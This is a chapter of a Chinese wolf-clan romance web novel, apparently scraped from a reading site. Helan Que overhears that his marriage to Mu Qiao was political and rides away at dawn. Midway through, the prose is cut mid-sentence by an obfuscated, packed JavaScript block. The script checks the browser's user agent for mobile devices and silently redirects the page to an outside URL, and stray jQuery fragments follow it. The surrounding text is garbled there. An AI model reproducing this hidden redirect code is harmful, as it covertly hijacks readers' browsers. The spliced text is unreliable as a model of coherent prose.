27.春风吹又生

作品:《[狼族]长生天

    这块封地尤其大,呈狭长型,遥望着对岸的边境集市,一条银带似的长河从中穿流而过。


    牧草及膝深,贺兰缺让牧云和夜舞出去放风,它们各自跑了一阵子,找了块喜欢的地方吃草,依然两看相厌。


    没有了那么多人的陪同,耳畔安静了许多,贺兰缺和慕悄沿着河畔牧羊人踩出的小径,一路往前走着。


    慕悄要牵着贺兰缺的手,贺兰缺也让他牵了。


    走到一处码头处,贺兰缺看到远处山脉上出现一个豁口,指着说道:“那边,就是瀚海国吧?”


    “是的。”慕悄说。


    “这条通路还是不够方便,翻山越岭太难,进来的人太少了……水路也不够便利,能够运的东西太少了。”贺兰缺随手拾了根树枝在地上划着。


    “确实有不少族人说过,山路崎岖,遇到大雪天气更是难行,有人会在山路上摔下悬崖,或者被冻死。”慕悄道。


    “现在想要拓宽河道工程量太大,只能先修修路了……对了,你知道这条河通往哪里吗?”贺兰缺说。


    “源头是黑狼一族的雪山,经过白狼、银狼、斑狼,继而流出到兴国去。”慕悄说。


    “是一条好河流啊……”贺兰缺说。


    “怎么,你还想改变这条河流?”慕悄顺势揉了揉贺兰缺的白发。


    “这叫要想富,先修路,少生孩子多种树。”贺兰缺说。


    慕悄这时有了和皮叔一样的感受,贺兰缺不时说些奇怪的话,不过这无伤大雅,他宠溺地捏了捏贺兰缺的耳垂。


    贺兰缺一边在河滩上继续写写画画,这个边境集市太小了,只通往瀚海国,离传说中更大的兴国很远,并且由于位置原因,黑狼不怎么到这边交易,如果他们四处开花,继续在别的地方也推行集市,让更多的人来交易,生意只会越做越大。


    这些只能一步一步来做了。


    而且贺兰缺不太明白,明明狼族同根同源,为何要按地域分成了不同的族群,如果全部融合为一体,说不定能比横亘整片大陆的兴国更强大。


    接下来的日子,贺兰缺就到处跑,试图改善目前边境集市的状况,减少约束、优化规则、平整道路,拓宽空间。他召集了一群人,去挖掉了山路上各种阻拦人的怪石,并将一些容易落陷的深沟填平,在容易迷路的地方设置路标,还建了一处小木屋,供意外被困的人借住。


    这样往来狼族草原和瀚海国的客商,会更便利一些,减少伤亡。


    慕悄则坐镇边境集市,逐步开始接手一些事务。


    日子如流水一般过去,除了床事让偶尔让贺兰缺吃不消,其余两人相处倒和谐。


    一日,慕悄处理完集市事务准备回去,乌仑忽然急匆匆赶来,看见他便执着手道:“主子,等等!那人……”


    慕悄不知道他在说谁,问道:“怎么了,阿缺回来了吗?”


    乌仑重重握着慕悄的手臂道:“主子,他回来了。”


    慕悄好一会儿才反应过来,一时怔愣。“你说……他?”


    这时,忽然遇上贺兰缺从外面回来,这些天他一直在各种游商堆里泡着,探听了不少这个世界的新消息,觉得很有意思,早出晚归的,经常让慕悄去把人抓回来。


    看到贺兰缺回来了,乌仑连忙把手松开,看了慕悄一眼。


    慕悄递给了他一个冷静的眼神,乌仑便借口有事连忙离开了。


    贺兰缺并未发现什么,他随口就问道:“有什么吃的吗?”他坐下来并在火塘旁烤火。


    “怎么弄成这样?”慕悄说。他看到贺兰缺脸上有些泥土和擦伤,身上衣服也有些狼狈。


    “哦,今天不小心被石头擦了一下。”贺兰缺随手摸了摸。


    慕悄让人去送食物过来,又用湿巾帮贺兰缺擦拭脸颊。


    贺兰缺看着慕悄澄澈的眼眸和细心的动作,觉得有人这样对自己,也值了。


    贺兰缺这些天都很累,慕悄没有继续折腾他,免得他第二天腰酸背痛。


    入了夜,贺兰缺洗漱过后,便准备入睡了。慕悄让人把火炉移到床头,靠近他还带着点湿气的头发,又亲自铺好了床铺。


    贺兰缺睡眼惺忪间,慕悄看见乌仑在院子里徘徊。


    慕悄吹灭了所有灯,只留一盏小小的油灯,看了看贺兰缺的睡颜,便轻掩房门,出去和乌仑见面。


    他们在黑漆漆的草场里,背对着木屋,在栏杆面前谈话。


    慕悄面对着蓝黑天空上的圆月,神情冷清,与刚才照顾贺兰缺时的温柔耐心截然相反。


    乌仑对慕悄道:“主子,我听说,郁觉回来了。”


    慕悄冷冷道:“回来就回来了,告诉我做什么。”


    乌仑说:“主子,唉……当初您有意于他,若不是无果,怎么会同意与贺兰氏联姻。”


    慕悄陷入沉思。


    乌仑说:“他回来了,我听说他探听了您的消息。”


    慕悄说:“过去的事情,都过去了。”


    乌仑叹道:“造化弄人啊……当初您也是心有怨气,否则不会与白狼联姻。初见贺兰缺时,您处处戏弄他,与他玩乐,我本以为只是撒气,谁知现在……委屈您了,为了我族的利益,牺牲自己。”


    “至少现在斑狼保住了集市……您也获得了封地……”


    他们又说了些什么,但贺兰缺已经听不到了。


    他穿着一身单衣出来,光脚踩在地板上,夜风非常凉,但比不上他心中凉。


    他本来要入睡了,忽然想起来今天从远方的商人手中购入一对碧绿色的手镯,非常稀有和品质上乘,他带回来送给慕悄。刚把这事忘了,他想起来,就出来找慕悄,不料却听到了这样一番“真相”。


    贺兰缺的手抓在木柱上,狠狠抠入。


    忽然一下子都说得清了,为何慕悄初见他时那般高冷疏离,明知他的身份,还是故意不与他说话,掩饰他的真实性别。在他觉得可能追不上慕悄的时候,又给他一些希望,让他继续跟上。


    如果不是他一头撞上去,死皮赖脸地告白,慕悄是否会接受他呢?


    不过也是一场政治联姻罢了,贺兰缺早有预期,只是他原本以为这其中还是有情感的成分,现在觉得,不过高估了自己。


    更可恨的是,原来他是那个坏人。慕悄早已有意中人,若不是他强插进来,慕悄何必被迫与并不喜欢的自己成亲?


    反而阻碍了他去追寻真正喜欢的人……


    贺兰缺的手缓缓从柱子上滑下来,努力让自己大度地想着,不就是伴侣对自己没有感情吗,他来自的那个社会,多少婚姻是因为门当户对、条件匹配、利益捆绑而结合的,各玩各的情况很常见。婚姻并不是爱情。


    一个成熟的人,并不会因为这些许小事忧心。冷硬的成年人,也不会因此受伤。


    他摸了一把脸,努力让自己笑起来,但嘴角怎么提也提不起来。


    贺兰缺转身狼狈地离去,他们那些豪门的婚姻里,丈夫即使发现妻子背叛,也是礼貌地在门外等着,对情人客客气气,他现在能做的,就是当一切没听见,把空间留给慕悄。反正他们婚也结了,目的达到了,他也不能逼着慕悄再对他强颜欢笑……


    留给彼此体面,这是他们能做到的。


    只是不巧……贺兰缺手拿着的玉镯,忽从袖中滑落,咣当一声落到了地板上。


    月光非常明亮,慕悄听到动静之后,也很快看见了回廊上有个人。


    感觉自己被发现了,贺兰缺加快了脚步,他匆匆忙忙披上一件外套,套好靴子,却不是往卧室的方向,而是往马厩的方向。


    如果他的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936100|190240||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    存在让慕悄感到为难,他还留在这里做什么……


    慕悄辨认了一会那个一闪而过的白影是谁,忽然眉头一皱,大惊失色道:


    “不好!是阿缺!”


    乌仑也一愣。


    慕悄说:“他是不是听到了什么?”


    思及刚才他们的谈话,慕悄忽然觉得十分不对劲,如果阿缺听到了并误会了……他连忙火速奔回卧室,看贺兰缺还在不在。


    果然如他预计的一般,贺兰缺早已消失。慕悄掀开帘幕,床上空无一人,被子都是冰凉的。慕悄心中的不安感越来越甚。


    他在门外的走廊上,捡到了一只掉落的玉镯。难道刚才阿缺,是想过来给他送镯子?


    慕悄急得要上火,他大声喊着:“阿缺!阿缺!”并开始在家里四处寻找贺兰缺。


    这番举动也惊醒了仆人,点点的灯火燃起,随后,整座宅子都在寻找贺兰缺的踪迹。


    贺兰缺却只穿了一身衣服,手持马鞭,什么都没带,就跑了出来。


    他悄悄到马厩牵出了牧云,牧云非常乖觉,只眨着大眼睛看他,配合地一点儿声音不发出,连蹄子都轻轻落下。


    夜舞嚼着牧草,在旁边看着,可是它又不会说话。


    贺兰缺又去找了熟睡中的容吉,让他和自己一块回白狼族。


    容吉被叫醒,睡意浓重,问:“怎么了,少主?”


    贺兰缺脸色阴沉,道:“穿好衣服,我们现在回白狼族。”


    “回去?”容吉虽然不知道为什么,但很听话,听到说要回家还挺高兴的。因为这边婚礼已经结束,皮叔带着其他人先行一步回到贺兰庄园,倒省了很多麻烦。


    贺兰缺说:“是的。带上你的马,我们现在就回去。”


    贺兰缺不知是伤心过度还是什么,听到这一番“真相”的剖白后,他是一点儿不想在这呆了。


    也许是他还做不到冷静和体面,他只会……逃避。


    既然他碍眼,那还是早早消失吧。


    反正婚礼已经结束了,斑狼和白狼联盟的目的达到了,他再呆在这儿,也没什么意思。


    贺兰缺越想越伤心,脚步虚浮。


    贺兰缺和容吉一道,轻轻地离开河边庄园,刚一离开围栏,便跨上马,打算疾速离去。


    天渐渐亮了,晨风四起,连远处的山际,都透出了一丝白光,这是红日即将升起。


    冷风扑簌,贺兰缺回首望着这片流水之地,心中忽然充满复杂情绪。


    “驾——”他扬起马鞭,准备调转马头离开,身后却忽然传来一个声音:


    “阿缺不要!阿缺快回来!”


    慕悄正从里边奔出来。他着急得什么形象都不顾了。


    见到本人,贺兰缺更觉情伤,他转过身去打马离开,不忍心再看一眼。却听到后面慕悄叫道:


    “阿缺回来!阿缺别走!”


    贺兰缺打算关起自己的耳朵,什么都听不到。如果听不到那些话,他也不会伤心了。他还是那个没心没肺的贺兰缺。


    他的怀中还揣着另一只绿玉手镯……


    整座大宅疯了一样找了一晚上,终于找到了即将离去的贺兰缺,慕悄想冲出去将贺兰缺拦下,却被乌仑死死抱住了:


    “主子您不能走呀!这是您的封地您不能离开这里!”


    “放开我,滚!”


    “您真的不能走!按照规矩这个时节您必须留在封地,否则要失去这块封地的啊……冷静主子!”


    “阿缺——!”


    贺兰缺听到身后传来仿佛狼嚎一样的声音,好像有人在叫他的名字,撕心裂肺。他闭了闭眼,狠狠甩了一下马鞭,就当那声音——是一个错觉吧。


    来到斑狼的草原这么久,得到了一些,也失去了一些,现在,是时候离开了。